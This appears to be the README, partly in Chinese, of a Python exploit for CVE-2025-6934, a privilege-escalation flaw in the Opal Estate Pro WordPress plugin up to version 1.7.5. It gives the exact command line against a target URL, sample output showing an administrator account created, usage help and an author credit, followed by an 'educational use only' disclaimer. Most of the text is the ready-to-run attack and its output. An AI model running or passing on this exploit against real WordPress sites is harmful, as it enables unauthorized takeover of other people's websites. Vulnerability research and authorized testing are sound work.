用于 WordPress 的 Opal Estate Pro – 房产管理与提交 插件（被 FullHouse - 房地产响应式 WordPress 主题 使用）在所有版本（包括 1.7.5）中均存在 权限提升 漏洞。
此 Python 利用脚本通过以下方式自动化权限提升过程：
readme.txt 验证易受攻击的插件版本。python CVE-2025-6934.py -u http://target-site.com/login-default/ -mail [email protected] -password nxp1234
[•] Plugin Version Check:
[+] Vulnerable version detected: 1.7.5
[•] Exploit Attempt Started
[+] Nonce Found: 70dd70630b
[+] HTTP Status: 200
[✔] Exploit Successful!
--------------------------
Username : nxploitedadmin
Email : [email protected]
Password : nxp1234
Role : administrator
--------------------------
Exploit By: Khaled_alenazi (Nxploited) | https://github.com/Nxploited
usage: CVE-2025-6934.py [-h] -u URL -mail NEWMAIL -password NEWPASSWORD
CVE-2025-6934 Exploit by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Target URL (e.g., http://site.com/path/)
-mail, --newmail NEWMAIL
Email to register as admin
-password, --newpassword NEWPASSWORD
Password for new admin user
本脚本仅用于教育和授权安全测试目的。
未经同意针对目标未经授权使用此工具是严格禁止的。
By: Khaled_alenazi (Nxploited)